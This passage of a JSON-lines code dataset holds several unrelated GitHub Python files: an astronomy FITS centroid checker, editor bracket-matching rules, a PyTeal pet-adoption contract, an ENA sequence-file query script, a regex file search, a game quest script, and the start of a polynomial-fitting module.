False\n","repo_name":"Princechorasiya/NGO","sub_path":"Week_4/quizGameOOP/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"28603566086","text":"#!/usr/bin/env python3\n\n\nimport os\nimport matplotlib\n# Force matplotlib to not use any Xwindows backend.\nmatplotlib.use('Agg')\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom astropy.io import fits\n\n\n# To ignore warning\nnp.seterr(divide='ignore', invalid='ignore')\n\n# A dictionary of window sizes and frame rates.\nwindow_rate_dict = {'511': 28.7185,\n '349': 61.0,\n '299': 82.0,\n '249': 115.0,\n '199': 180.0,\n '149': 300.0,\n '99' : 640.0}\n \n# To detect sawtooth in data. \ndef find_breaks(data):\n if len(data) == 0:\n return None\n data1 = np.roll(data,1)\n data1[0] = 0\n mask = data < data1\n indices = [i for i, m in enumerate(mask) if m ==True]\n return np.array(indices) \n\n# Function to create images.\ndef centroid_check(L1_FITS):\n hdulist = fits.open(L1_FITS)\n \n # To get the frame rate.\n window = str(hdulist[0].header['win_x_sz'])\n frame_rate = window_rate_dict[str(window)]\n \n # ~25 seconds of initial data could be BOD check.\n BOD_frame_length = frame_rate * 25\n frames = hdulist[2].data['SecHdrImageFrameCount']\n breaks = find_breaks(frames)\n if breaks is None:\n return\n BOD_breaks = breaks[breaks < BOD_frame_length]\n BOD_mask = np.ones(len(frames), dtype = bool)\n BOD_mask[frames == 1] = False\n if len(BOD_breaks) != 0:\n BOD_mask[: BOD_breaks[-1]] = False\n \n if len(frames[BOD_mask]) == 0:\n return\n \n # The Centroid column read as 8-bit integers (2016 columns).\n droid_array = hdulist[2].data['Centroid']\n droid_array = droid_array[BOD_mask]\n\n # Unpacks elements of an 8-bit int array into a binary-valued output array.\n # Now with 16128 columns.\n bit_data = np.unpackbits(droid_array, axis =1) \n\n # Reshaping the array with only 3 words (48 bits) in the row.\n len_row = len(bit_data) * 336\n bit_dat = bit_data.reshape(len_row, 48)\n\n # bit data gets converted to useful events data. Hold my beer! \n Rx = bit_dat[:, 0] * 256\n Lx = np.packbits(bit_dat[:, 1:9])\n Ix = Rx + Lx\n\n Ry = bit_dat[:, 16] * 256\n Ly = np.packbits(bit_dat[:, 17:25])\n Iy = Ry + Ly\n\n powers = np.array([32, 16, 8, 4, 2, 1], dtype=np.int8)\n\n Fx = bit_dat[:, 9:15]\n Fx = Fx.dot(powers)\n\n Fy = bit_dat[:, 25:31]\n Fy = Fy.dot(powers)\n\n # To convert the 6-bit integers to subpixels.\n substep = 0.03125\n\n Fx[Fx > 31] = Fx[Fx > 31] - 64\n Fx = Fx * substep\n\n Fy[Fy > 31] = Fy[Fy > 31] - 64\n Fy = Fy * substep\n\n # Adding the integer and float parts together.\n X_pos = Ix + Fx\n Y_pos = Iy + Fy\n \n hot_pixel_mask = ~np.logical_and(Ix == 131, Iy == 216)\n \n X_pos = X_pos[hot_pixel_mask]\n Y_pos = Y_pos[hot_pixel_mask]\n\n # Keeping some standards.\n X_p = X_pos[X_pos > 0.]\n Y_p = Y_pos[X_pos > 0.]\n\n fig, axs = plt.subplots(5, 2, figsize=(15, 9))\n\n marker_size = 0.2\n alpha = 0.2\n\n axs[0][0].scatter(X_p, Y_p, s = marker_size, alpha = alpha)\n axs[0][0].set_xlim(0, 102)\n axs[1][0].scatter(X_p, Y_p, s = marker_size, alpha = alpha)\n axs[1][0].set_xlim(102, 204)\n axs[2][0].scatter(X_p, Y_p, s = marker_size, alpha = alpha)\n axs[2][0].set_xlim(204, 306)\n axs[3][0].scatter(X_p, Y_p, s = marker_size, alpha = alpha)\n axs[3][0].set_xlim(306, 408)\n axs[4][0].scatter(X_p, Y_p, s = marker_size, alpha = alpha)\n axs[4][0].set_xlim(408, 512)\n axs[4][0].set_xlabel('X-centroids')\n\n axs[0][1].scatter(Y_p, X_p, s = marker_size, alpha = alpha)\n axs[0][1].set_xlim(0, 102)\n axs[1][1].scatter(Y_p, X_p, s = marker_size, alpha = alpha)\n axs[1][1].set_xlim(102, 204)\n axs[2][1].scatter(Y_p, X_p, s = marker_size, alpha = alpha)\n axs[2][1].set_xlim(204, 306)\n axs[3][1].scatter(Y_p, X_p, s = marker_size, alpha = alpha)\n axs[3][1].set_xlim(306, 408)\n axs[4][1].scatter(Y_p, X_p, s = marker_size, alpha = alpha)\n axs[4][1].set_xlim(408, 512)\n axs[4][1].set_xlabel('Y-centroids')\n\n path = os.path.normpath(L1_FITS)\n if len(path.split(os.sep)) > 1:\n parent = path.split(os.sep)[-2]\n filename = path.split(os.sep)[-1]\n figure_name = filename.replace('.fits', '_stretched_data.png')\n figure_name = parent + '_' + figure_name\n else:\n parent = os.getcwd() + os.sep\n figure_name = L1_FITS.replace('.fits', '_stretched_data.png')\n \n plt.savefig(figure_name,\n format = 'png',\n bbox_inches = 'tight',\n dpi = 100, \n facecolor = 'w', \n transparent = False)\n \n plt.clf()\n \n fig, axs = plt.subplots(5, 2, figsize=(15, 9))\n\n bins = np.arange(0, 512, 0.5)\n X_array, bin_edges = np.histogram(X_p, bins = bins)\n Y_array, bin_edges = np.histogram(Y_p, bins = bins)\n\n axs[0][0].plot(bin_edges[1:], X_array)\n axs[0][0].set_xlim(0, 102)\n axs[1][0].plot(bin_edges[1:], X_array)\n axs[1][0].set_xlim(102, 204)\n axs[2][0].plot(bin_edges[1:], X_array)\n axs[2][0].set_xlim(204, 306)\n axs[3][0].plot(bin_edges[1:], X_array)\n axs[3][0].set_xlim(306, 408)\n axs[4][0].plot(bin_edges[1:], X_array)\n axs[4][0].set_xlim(408, 512)\n axs[4][0].set_xlabel('X-centroids')\n\n axs[0][1].plot(bin_edges[1:], Y_array)\n axs[0][1].set_xlim(0, 102)\n axs[1][1].plot(bin_edges[1:], Y_array)\n axs[1][1].set_xlim(102, 204)\n axs[2][1].plot(bin_edges[1:], Y_array)\n axs[2][1].set_xlim(204, 306)\n axs[3][1].plot(bin_edges[1:], Y_array)\n axs[3][1].set_xlim(306, 408)\n axs[4][1].plot(bin_edges[1:], Y_array)\n axs[4][1].set_xlim(408, 512)\n axs[4][1].set_xlabel('Y-centroids')\n\n filename = path.split(os.sep)[-1]\n figure_name = filename.replace('.fits', '_stretched_data_histogram.png')\n figure_name = parent + '_' + figure_name\n\n plt.savefig(figure_name,\n format = 'png',\n bbox_inches = 'tight',\n dpi = 100, \n facecolor = 'w', \n transparent = False)\n\n plt.close('all')\n \n bins = np.arange(0, 512)\n X_array, bin_edges = np.histogram(X_p, bins = bins)\n Y_array, bin_edges = np.histogram(Y_p, bins = bins)\n\n X_array = X_array[12: 501]\n if len(X_array[X_array == 0]) > 0:\n print('\\nPossible sparse data, the gap detection could be UNRELIABLE for:')\n print(L1_FITS) \n \n X_left_ratio = X_array[1:] / X_array[:-1]\n X_right_ratio = X_array[:-1] / X_array[1:]\n X_ratio_product = X_left_ratio[1:] * X_right_ratio[:-1]\n\n Y_array = Y_array[12: 501]\n Y_left_ratio = Y_array[1:] / Y_array[:-1]\n Y_right_ratio = Y_array[:-1] / Y_array[1:]\n Y_ratio_product = Y_left_ratio[1:] * Y_right_ratio[:-1]\n \n threshold = 9\n Xgap_locations = np.argwhere(X_ratio_product > threshold)\n Ygap_locations = np.argwhere(Y_ratio_product > threshold) \n\n if len(Xgap_locations) != 0:\n print('\\nPossible gap along X-centroids, check images to confirm.')\n print(L1_FITS, Xgap_locations[0] + 13) \n \n if len(Ygap_locations) != 0:\n print('\\nPossible gap along Y-centroids, check images to confirm.')\n print(L1_FITS, Ygap_locations[0] + 13) \n\ndef check_centroid_gaps(L1_dir):\n print('\\nPlease wait, this may take time.')\n \n for dirpath, dirnames, files in os.walk(L1_dir):\n for s in files:\n fnam = os.path.join(dirpath, s)\n if fnam[-5:] == \".fits\" and fnam[-21] in ['N', 'F']:\n centroid_check(fnam) \n \n print('\\nDone! Please inspect the plots.\\n')\n\n\n\n\n\n\n","repo_name":"prajwel/uvitility","sub_path":"src/uvitility/uvitility.py","file_name":"uvitility.py","file_ext":"py","file_size_in_byte":7665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"29165765159","text":"import ure\nimport bh_plugin\nfrom bh_logging import debug, log\n\n\ndef exclude_bracket(enabled, filter_type, language_list, language):\n \"\"\"\n Exclude or include brackets based on filter lists.\n \"\"\"\n\n exclude = True\n if enabled:\n # Black list languages\n if filter_type == 'blacklist':\n exclude = False\n if language is not None:\n for item in language_list:\n if language == item.lower():\n exclude = True\n break\n # White list languages\n elif filter_type == 'whitelist':\n if language is not None:\n for item in language_list:\n if language == item.lower():\n exclude = False\n break\n return exclude\n\n\ndef is_valid_definition(params, language):\n \"\"\"\n Ensure bracket definition should be and can be loaded.\n \"\"\"\n\n return (\n not exclude_bracket(\n params.get(\"enabled\", True),\n params.get(\"language_filter\", \"blacklist\"),\n params.get(\"language_list\", []),\n language\n ) and\n params[\"open\"] is not None and params[\"close\"] is not None\n )\n\n\nclass BracketDefinition(object):\n \"\"\"\n Normal bracket definition.\n \"\"\"\n\n def __init__(self, bracket):\n \"\"\"\n Setup the bracket object by reading the passed in dictionary.\n \"\"\"\n\n self.name = bracket[\"name\"]\n self.style = bracket.get(\"style\", \"default\")\n self.compare = bracket.get(\"compare\")\n sub_search = bracket.get(\"find_in_sub_search\", \"false\")\n self.find_in_sub_search_only = sub_search == \"only\"\n self.find_in_sub_search = sub_search == \"true\" or self.find_in_sub_search_only\n self.post_match = bracket.get(\"post_match\")\n self.validate = bracket.get(\"validate\")\n self.scope_exclude_exceptions = bracket.get(\"scope_exclude_exceptions\", [])\n self.scope_exclude = bracket.get(\"scope_exclude\", [])\n self.ignore_string_escape = bracket.get(\"ignore_string_escape\", False)\n\n\nclass ScopeDefinition(object):\n \"\"\"\n Scope bracket definition.\n \"\"\"\n\n def __init__(self, bracket):\n \"\"\"\n Setup the bracket object by reading the passed in dictionary.\n \"\"\"\n\n self.style = bracket.get(\"style\", \"default\")\n self.open = ure.compile(\"\\\\A\" + bracket.get(\"open\", \".\"), ure.MULTILINE | ure.IGNORECASE)\n self.close = ure.compile(bracket.get(\"close\", \".\") + \"\\\\Z\", ure.MULTILINE | ure.IGNORECASE)\n self.name = bracket[\"name\"]\n sub_search = bracket.get(\"sub_bracket_search\", \"false\")\n self.sub_search_only = sub_search == \"only\"\n self.sub_search = self.sub_search_only is True or sub_search == \"true\"\n self.compare = bracket.get(\"compare\")\n self.post_match = bracket.get(\"post_match\")\n self.validate = bracket.get(\"validate\")\n self.scopes = bracket[\"scopes\"]\n\n\nclass SearchRules(object):\n def __init__(self, brackets, scopes, string_escape_mode, outside_adj):\n self.bracket_rules = brackets\n self.scope_rules = scopes\n self.enabled = False\n self.string_escape_mode = string_escape_mode\n self.outside_adj = outside_adj\n\n def load_rules(self, language, modules):\n self.enabled = False\n self.brackets = []\n self.scopes = []\n self.check_compare = False\n self.check_validate = False\n self.check_post_match = False\n self.parse_bracket_definition(language, modules)\n self.parse_scope_definition(language, modules)\n if len(self.scopes) or len(self.brackets):\n self.enabled = True\n\n def parse_bracket_definition(self, language, loaded_modules):\n \"\"\"\n Parse the bracket defintion\n \"\"\"\n\n names = []\n subnames = []\n find_regex = []\n sub_find_regex = []\n\n for params in self.bracket_rules:\n if is_valid_definition(params, language):\n try:\n bh_plugin.load_modules(params, loaded_modules)\n entry = BracketDefinition(params)\n if not self.check_compare and entry.compare is not None:\n self.check_compare = True\n if not self.check_validate and entry.validate is not None:\n self.check_validate = True\n if not self.check_post_match and entry.post_match is not None:\n self.check_post_match = True\n self.brackets.append(entry)\n if not entry.find_in_sub_search_only:\n find_regex.append(params[\"open\"])\n find_regex.append(params[\"close\"])\n names.append(params[\"name\"])\n else:\n find_regex.append(r\"([^\\s\\S])\")\n find_regex.append(r\"([^\\s\\S])\")\n\n if entry.find_in_sub_search:\n sub_find_regex.append(params[\"open\"])\n sub_find_regex.append(params[\"close\"])\n subnames.append(params[\"name\"])\n else:\n sub_find_regex.append(r\"([^\\s\\S])\")\n sub_find_regex.append(r\"([^\\s\\S])\")\n except Exception as e:\n log(e)\n\n if len(self.brackets):\n self.brackets = tuple(self.brackets)\n debug(\n \"Bracket Pattern: (%s)\\n\" % ','.join(names) +\n \" (Opening|Closing): (?:%s)\\n\" % '|'.join(find_regex)\n )\n debug(\n \"SubBracket Pattern: (%s)\\n\" % ','.join(subnames) +\n \" (Opening|Closing): (?:%s)\\n\" % '|'.join(sub_find_regex)\n )\n self.sub_pattern = ure.compile(\"(?:%s)\" % '|'.join(sub_find_regex), ure.MULTILINE | ure.IGNORECASE)\n self.pattern = ure.compile(\"(?:%s)\" % '|'.join(find_regex), ure.MULTILINE | ure.IGNORECASE)\n\n def parse_scope_definition(self, language, loaded_modules):\n \"\"\"\n Parse the scope defintion\n \"\"\"\n\n scopes = {}\n scope_count = 0\n for params in self.scope_rules:\n if is_valid_definition(params, language):\n try:\n bh_plugin.load_modules(params, loaded_modules)\n entry = ScopeDefinition(params)\n if not self.check_compare and entry.compare is not None:\n self.check_compare = True\n if not self.check_validate and entry.validate is not None:\n self.check_validate = True\n if not self.check_post_match and entry.post_match is not None:\n self.check_post_match = True\n for x in entry.scopes:\n if x not in scopes:\n scopes[x] = scope_count\n scope_count += 1\n self.scopes.append({\"name\": x, \"brackets\": [entry]})\n else:\n self.scopes[scopes[x]][\"brackets\"].append(entry)\n debug(\"Scope Regex (%s)\\n Opening: %s\\n Closing: %s\\n\" % (entry.name, entry.open.pattern, entry.close.pattern))\n except Exception as e:\n log(e)\n","repo_name":"herove/dotfiles","sub_path":"sublime/Packages/BracketHighlighter/bh_rules.py","file_name":"bh_rules.py","file_ext":"py","file_size_in_byte":7452,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"91"}
+{"seq_id":"10254112985","text":"from pyteal import *\n\n# algosandbox goal app create --creator $acc1 --approval-prog contracts/petshop_approval.teal --clear-prog contracts/petshop_clear.teal --note pet-shop:uPets --global-byteslices 5 --global-ints 2 --local-byteslices 0 --local-ints 0 --app-arg str:TestPet --app-arg str:TestImage --app-arg int:5 --app-arg str:TestBreed --app-arg str:TestLocation\n\n\nclass Pet:\n class Variables:\n name = Bytes(\"NAME\") # ByteSlice\n image = Bytes(\"IMAGE\") # ByteSlice\n age = Bytes(\"AGE\") # ByteSlice\n breed = Bytes(\"BREED\") # ByteSlice\n location = Bytes(\"LOCATION\") # ByteSlice\n adopted = Bytes(\"ADOPTED\") # Uint64 0 means false, 1 means true\n owner = Bytes(\"OWNER\") # ByteSlice\n fee = Bytes(\"ADOPT_FEE\") # Uint64\n\n class AppMethods:\n adopt = Bytes(\"adopt\")\n\n # to create a new pet listed for adoption\n def application_creation(self):\n return Seq([\n # The number of arguments attached to the transaction should be exactly 6.\n Assert(Txn.application_args.length() == Int(6)),\n\n # The note attached to the transaction must be \"tutorial-marketplace:uv1\", which we define to be the note that marks a product within our marketplace\n Assert(Txn.note() == Bytes(\"pet-shop:uPetsv2\")),\n\n # Store the transaction arguments into the applications's global's state\n App.globalPut(self.Variables.name, Txn.application_args[0]),\n App.globalPut(self.Variables.image, Txn.application_args[1]),\n App.globalPut(self.Variables.age, Txn.application_args[2]),\n App.globalPut(self.Variables.breed, Txn.application_args[3]),\n App.globalPut(self.Variables.location, Txn.application_args[4]),\n App.globalPut(self.Variables.adopted, Int(0)),\n App.globalPut(self.Variables.owner, Txn.application_args[5]),\n\n Approve(),\n ])\n\n # get adoption fee from mod contract\n def getAdoptFee(self, mod_contract: Expr):\n # gets fee from mod_contract\n get_global_fee = App.globalGetEx(mod_contract, Bytes(\"FEE\"))\n\n return Seq(\n get_global_fee,\n If(get_global_fee.hasValue(), App.globalPut(self.Variables.fee,\n get_global_fee.value()), App.globalPut(self.Variables.fee, Int(0))),\n )\n\n def adopt(self):\n scratch_adopter = ScratchVar(TealType.bytes)\n\n return Seq([\n scratch_adopter.store(App.globalGet(self.Variables.owner)),\n # first sanity checks to check transaction params\n Assert(\n And(\n # The number of transactions within the group transaction must be exactly 2.\n # first one being the adopt function and the second being the payment transactions\n Global.group_size() == Int(2),\n\n # check that the adopt call is made ahead of the payment transaction\n Txn.group_index() == Int(0),\n\n # The number of external applications must be == 1. as a call is made to the Mod_contract to get the adoptionFee\n # Txn.applications[0] is a special index denoting the current app being interacted with\n Txn.applications.length() == Int(1),\n\n # The number of arguments attached to the transaction should be exactly 2.\n Txn.application_args.length() == Int(2),\n\n # Check that current owner is not the transaction sender as that's redundant\n scratch_adopter.load() != Txn.application_args[1],\n ),\n ),\n\n # get fee from the mod contract\n self.getAdoptFee(Txn.applications[1]),\n\n # checks for second transaction\n Assert(\n And(\n # check if fee is greater is zero\n App.globalGet(self.Variables.fee) > Int(0),\n # The second transaction of the group must be the payment transaction.\n Gtxn[1].type_enum() == TxnType.Payment,\n # The receiver of the payment should be the creator of the app\n Gtxn[1].receiver() == Global.creator_address(),\n # The payment amount should match the product's price multiplied by the number of products bought\n Gtxn[1].amount() == App.globalGet(self.Variables.fee),\n # The sender of the payment transaction should match the sender of the smart contract call transaction.\n Gtxn[1].sender() == Gtxn[0].sender(),\n )\n ),\n\n # The global state is updated using App.globalPut()\n\n App.globalPut(self.Variables.adopted, Int(1)),\n App.globalPut(self.Variables.owner, Txn.application_args[1]),\n Approve()\n\n ])\n\n # To delete a product.\n\n def application_deletion(self):\n scratch_owner = ScratchVar(TealType.bytes)\n return Seq(\n scratch_owner.store(App.globalGet(self.Variables.owner)),\n # The number of arguments attached to the transaction should be exactly 1.\n Assert(Txn.application_args.length() == Int(1)),\n Return(\n scratch_owner.load() == Txn.application_args[0],\n ),\n )\n\n # Check transaction conditions\n def application_start(self):\n return Cond(\n # checks if the application_id field of a transaction matches 0.\n # If this is the case, the application does not exist yet, and the application_creation() method is called\n [Txn.application_id() == Int(0), self.application_creation()],\n # If the the OnComplete action of the transaction is DeleteApplication, the application_deletion() method is called\n [Txn.on_completion() == OnComplete.DeleteApplication,\n self.application_deletion()],\n # if the irst argument of the transaction matches the AppMethods.buy value, the buy() method is called.\n [Txn.application_args[0] == self.AppMethods.adopt, self.adopt()],\n )\n\n # The approval program is responsible for processing all application calls to the contract.\n def approval_program(self):\n return self.application_start()\n\n # The clear program is used to handle accounts using the clear call to remove the smart contract from their balance record.\n def clear_program(self):\n return Return(Int(1))\n","repo_name":"osas2211/algo-petshop","sub_path":"src/contracts/petshop_contract.py","file_name":"petshop_contract.py","file_ext":"py","file_size_in_byte":6537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"40452157895","text":"import json\nimport pandas as pd\nimport os\nimport urllib.request\nfrom bs4 import BeautifulSoup\nimport argparse\nimport sys\nimport logging\n\n\nparser = argparse.ArgumentParser(description='A script to query the European Nucleotide Archive (ENA) website to create a CSV file with information for each read sequence file.')\nparser.add_argument(\"csv\", help=\"The input CSV file. It requires a column for the ENA_PROJECT with the project accesion numbers. \\\n It also expects columns for METAGENOMICS_ANALYSES and METAGENOMICS_SAMPLES if the ENA_PROJECT is missing.\")\nparser.add_argument(\"cache\", help=\"The path to a directory to cache the downloads of the ENA report files.\")\nparser.add_argument(\"-o\",\"--output\", help=\"The output CSV file for the individual read files. Each read file is a separate row in the table.\")\nargs = parser.parse_args()\n\ndef human_readable_file_size(size):\n \"\"\"\n Returns a human readable file size string for a size in bytes. \n \n Adapted from https://stackoverflow.com/a/25613067)\n \"\"\"\n\n from math import log2 \n _suffixes = ['bytes', 'KB', 'MB', 'GB', 'TB', 'PB']\n\n # determine binary order in steps of size 10 \n # (coerce to int, // still returns a float)\n order = int(log2(size) / 10) if size else 0\n # format file size\n # (.4g results in rounded numbers for exact matches and max 3 decimals, \n # should never resort to exponent values)\n return '{:.4g} {}'.format(size / (1 << (order * 10)), _suffixes[order])\n\n\ndef cached_download( url, local_path ):\n \"\"\"\n Downloads a file if a local file does not already exist.\n\n Args:\n url: The url of the file to download.\n local_path: The local path of where the file should be. If this file isn't there or the file size is zero then this function downloads it to this location.\n\n Raises:\n Exception: Raises an exception if it cannot download the file.\n\n \"\"\"\n if not os.path.isfile( local_path ) or os.path.getsize(local_path) == 0:\n try:\n print(f\"Downloading {url} to {local_path}\")\n urllib.request.urlretrieve(url, local_path)\n except:\n raise Exception(f\"Error downloading {url}\")\n\n if not os.path.isfile( local_path ):\n raise Exception(f\"Error reading {local_path}\")\n\ndef download_ena_report( accession, result_type, cache_dir ):\n \"\"\"\n Downloads a TSV file report from the European Nucleotide Archive (ENA) website if it is not already cached.\n\n If the file already is cached then it is not downloaded again.\n Args:\n accession: The accession id for the query. It can be a project accession id or a sample accession id.\n result_type: The type of report we are seeking (e.g. 'analysis' or 'read_run').\n cache_dir: The path to the directory where the downloaded files are stored.\n \n Returns:\n The local path to the ENA file report.\n\n Raises:\n Exception: Raises an exception if it cannot download the file.\n \"\"\" \n path = f\"{cache_dir}/{accession}.{result_type}.tsv\"\n tsv_url = f\"https://www.ebi.ac.uk/ena/data/warehouse/filereport?accession={accession}&result={result_type}\"\n cached_download( tsv_url, path )\n return path\n\ndef ena_report_df( accession, result_type, cache_dir ):\n \"\"\" Same as 'download_ena_report' but this function opens the TSV file as a Pandas dataframe. \"\"\"\n\n path = download_ena_report( accession, result_type, cache_dir )\n return pd.read_csv( path, sep='\\t' )\n\n\n\ndf = pd.read_csv(args.csv, encoding=\"ISO-8859-1\")\n\ndata = []\n\nprojects_count = len(df.index)\nfor index,row in df.iterrows():\n project_accession = row['ENA_PROJECT']\n print(f\"Project {index} of {projects_count}: {project_accession}\")\n\n # Download 'analysis' data for project to get the sample accession ids\n print(project_accession, \"analysis\" )\n try:\n analysis_df = ena_report_df( project_accession, \"analysis\", args.cache )\n except:\n # Sometimes the ENA_PROJECT element in the CSV files for this project for some reason.\n # If this is the case, we can try the METAGENOMICS_SAMPLES element instead.\n # However, since the first column (i.e. ENA_PROJECT) is missing, we get the 'METAGENOMICS_SAMPLES' value from the 'METAGENOMICS_ANALYSES' column.\n project_accession = row['METAGENOMICS_ANALYSES']\n try:\n analysis_df = ena_report_df( project_accession, \"analysis\", args.cache )\n except:\n logging.warning(f\"WARNING: Cannot read row: {row}\")\n continue\n\n\n sample_accessions = analysis_df['sample_accession'].unique()\n\n # Occasionally the 'analysls' table for the ENA project accession number is empty. \n # Usually when this happens, the project accession ID can be used as the 'sample' accession id to download the 'read_run' table\n if len(sample_accessions) == 0 or str(sample_accessions) == \"[nan]\":\n sample_accessions = [project_accession]\n\n print('sample_accessions:', sample_accessions)\n for sample_accession in sample_accessions:\n read_run_df = ena_report_df( sample_accession, \"read_run\", args.cache )\n print(read_run_df)\n #assert len(read_run_df.index) > 0\n if len(read_run_df.index) == 0:\n logging.warning(f\"WARNING: No reads found for {project_accession}\")\n\n for _, sample_row in read_run_df.iterrows():\n if pd.isna(sample_row)['fastq_ftp']:\n logging.warning(f\"WARNING: No FASTQ files found for {project_accession}\")\n continue\n\n fastq_bytes_list = str(sample_row['fastq_bytes']).split(\";\")\n fastq_md5_list = str(sample_row['fastq_md5']).split(\";\")\n fastq_ftp_list = str(sample_row['fastq_ftp']).split(\";\")\n fastq_aspera_list = str(sample_row['fastq_aspera']).split(\";\")\n #fastq_galaxy_list = str(sample_row['fastq_galaxy']).split(\";\")\n\n for file_index, (fastq_bytes, fastq_md5, fastq_ftp, fastq_aspera) in enumerate(zip(fastq_bytes_list, fastq_md5_list, fastq_ftp_list, fastq_aspera_list)):\n #Cast to float first in case there are decimal points in the string for bytes. See https://stackoverflow.com/a/8948303\n fastq_bytes = int(float(fastq_bytes))\n data.append( [project_accession, sample_row['sample_accession'], file_index, fastq_bytes, human_readable_file_size(fastq_bytes), fastq_md5, fastq_ftp, fastq_aspera] )\n\nftp_df = pd.DataFrame( data, columns=[\"project_accession\", \"sample_accession\", \"file_index\", \"fastq_bytes\", \"fastq_bytes_human_readable\", \"fastq_md5\", \"fastq_ftp\", \"fastq_aspera\"])\nprint(ftp_df)\n\noutput_path = args.output\n\nif not output_path:\n csv_filename, _ = os.path.splitext(args.csv)\n output_path = csv_filename + \"-FASTQ.csv\"\n\nftp_df.to_csv( output_path )\ntotal_bytes = ftp_df['fastq_bytes'].sum()\nprint(human_readable_file_size(total_bytes))","repo_name":"ParkvilleData/MetaGenePipe","sub_path":"scripts/query_ena.py","file_name":"query_ena.py","file_ext":"py","file_size_in_byte":6874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"71923790384","text":"#! python3\n# rgxSearch.py\n# opens all .txt files in a folder and searches for any line that matches a user-supplied regular expression\n\nimport os\nimport re\n\n# Enter the desired folder\npath = ''\nwhile os.path.isdir(path) != True:\n #path = input('Insert the path to the file: ')\n # just for example, remove this line and insert the line above to receive user input\n path = '/home/theeam/Documents/learning/python/automate the boring stuff with python/Chapter 8/regex search'\n\nos.chdir(path)\nprint('\\n\\t### You are at: ' + os.getcwd() + '\\n')\n\nfiles = os.listdir(path)\nprint('\\n\\t### Files found: ')\nprint(files)\n\n#regExpr = input('Insert the regex: ')\n# just for example, remove this line and insert the line above to receive user input\nregExpr = '(ADJECTIVE|NOUN|ADVERB|VERB)'\nregexSearch = re.compile(regExpr)\n\nmatches = []\nfor fileName in files:\n if '.txt' in fileName:\n textFile = open(fileName)\n fileContent = textFile.read()\n match = regexSearch.findall(fileContent)\n if match:\n for i in match:\n matches.append(i)\n textFile.close()\n\nprint('\\n\\t### Matches found: ')\nprint(matches)\n","repo_name":"barbixxxa/python","sub_path":"automate the boring stuff with python/Chapter 8/regex search/rgxSearch.py","file_name":"rgxSearch.py","file_ext":"py","file_size_in_byte":1158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"36698246673","text":"# -*- coding: utf-8 -*-\n# QuestApplyIf.py - A script to let an item be applied only if a quest\n# reached a certain step\n# Arguments are:\n# - quest name\n# - a list of steps, either single value (x) or range (x-y)\n# If any matches, then the item can be applied, else it is not applied\n\nimport Crossfire\n\nplayer = Crossfire.WhoIsActivator()\nparams = Crossfire.ScriptParameters()\nargs = params.split()\n\nquestname = args[0]\ncurrentstep = player.QuestGetState(questname)\n\n# by default, forbid applying\nCrossfire.SetReturnValue(1)\n\nfor rule in args[1:]:\n if rule.find(\"-\") == -1:\n startstep = int(rule)\n endstep = startstep\n else:\n startstep = int(rule.split(\"-\")[0])\n endstep= int(rule.split(\"-\")[1])\n if currentstep >= startstep and currentstep <= endstep:\n Crossfire.SetReturnValue(0)\n","repo_name":"TitusCF/HeroWorld","sub_path":"maps/python/quests/QuestApplyIf.py","file_name":"QuestApplyIf.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"91"}
+{"seq_id":"1908011467","text":"from __future__ import division\nimport numpy as np\nfrom typing import List\nfrom data import DatasetManager\n\n\ndef predicate(x: List[float], cof: List[float]) -> List[float]:\n \"\"\"\n 根据给定的x和多项式，求解y\n\n :param x: 横坐标\n :param cof: 多项式系数\n \"\"\"\n\n n = len(x)\n degree = len(cof)\n y: List[float] = []\n\n for i in range(n):\n res = 0\n pow = 1\n for j in range(degree):\n res += cof[j] * pow\n pow *= x[i]\n y.append(res)\n\n return np.array(y)\n\n\ndef analysis_without_regular(data: DatasetManager, degree: int):\n \"\"\"\n 根据数据集，通过解析式拟合给定阶数的多项式，不含正则化项\n\n :param data: 二维点集数据集\n :param degree: 多项式的阶数\n \"\"\"\n\n n = len(data.x())\n X = np.ones((n, degree))\n for i in range(n):\n for j in range(1, degree):\n X[i][j] = X[i][j - 1] * data.x()[i]\n\n return np.ravel(np.mat(X.T @ X).I @ X.T @ data.y())\n\n\ndef analysis_with_regular(data: DatasetManager, degree: int, lam: float):\n \"\"\"\n 根据数据集，通过解析式拟合给定阶数的多项式，含正则化项\n\n :param data: 二维点集数据集\n :param degree: 多项式的阶数\n :param lam: 回归系数\n \"\"\"\n\n degree += 1\n\n n = len(data.x())\n X = np.ones((n, degree))\n for i in range(n):\n for j in range(1, degree):\n X[i][j] = X[i][j - 1] * data.x()[i]\n\n return np.ravel(np.mat(X.T @ X + lam * np.eye(degree)).I @ X.T @ data.y())\n\n\ndef calc_gradient(w: List[float], x: List[float], y: List[float], lam: float):\n \"\"\"\n 求解给定系数的多项式在某一点的梯度，含正则化项\n \"\"\"\n\n return (1 / len(y)) * (np.dot(x.T, np.dot(x, w) - y) + lam * w)\n\n\ndef gradient_descent(data: DatasetManager, degree: int, lam: float, lr: float,\n eps: float):\n \"\"\"\n 根据数据集，通过梯度下降法拟合给定阶数的多项式，含正则化项\n\n :param data: 二维点集数据集\n :param degree: 多项式的阶数\n :param lam: 回归系数\n :param lr: 学习率\n :param eps: 梯度控制精度\n \"\"\"\n\n degree += 1\n\n n = len(data.x())\n x = np.ones((n, degree))\n for i in range(n):\n for j in range(1, degree):\n x[i][j] = x[i][j - 1] * data.x()[i]\n y = data.y().reshape(n, 1)\n w = np.mat(np.zeros(degree)).T\n grad = calc_gradient(w, x, y, lam)\n\n while np.sum(np.absolute(grad)) > eps:\n w = w - lr * grad\n grad = calc_gradient(w, x, y, lam)\n\n return np.ravel(w)\n\n\ndef conjugate_gradient(data: DatasetManager, degree: int, lam: float):\n \"\"\"\n 根据数据集，通过共轭梯度法拟合给定阶数的多项式，含正则化项\n\n :param data: 二维点集数据集\n :param degree: 多项式的阶数\n :param lam: 回归系数\n \"\"\"\n\n degree += 1\n\n n = len(data.x())\n x = np.ones((n, degree))\n for i in range(n):\n for 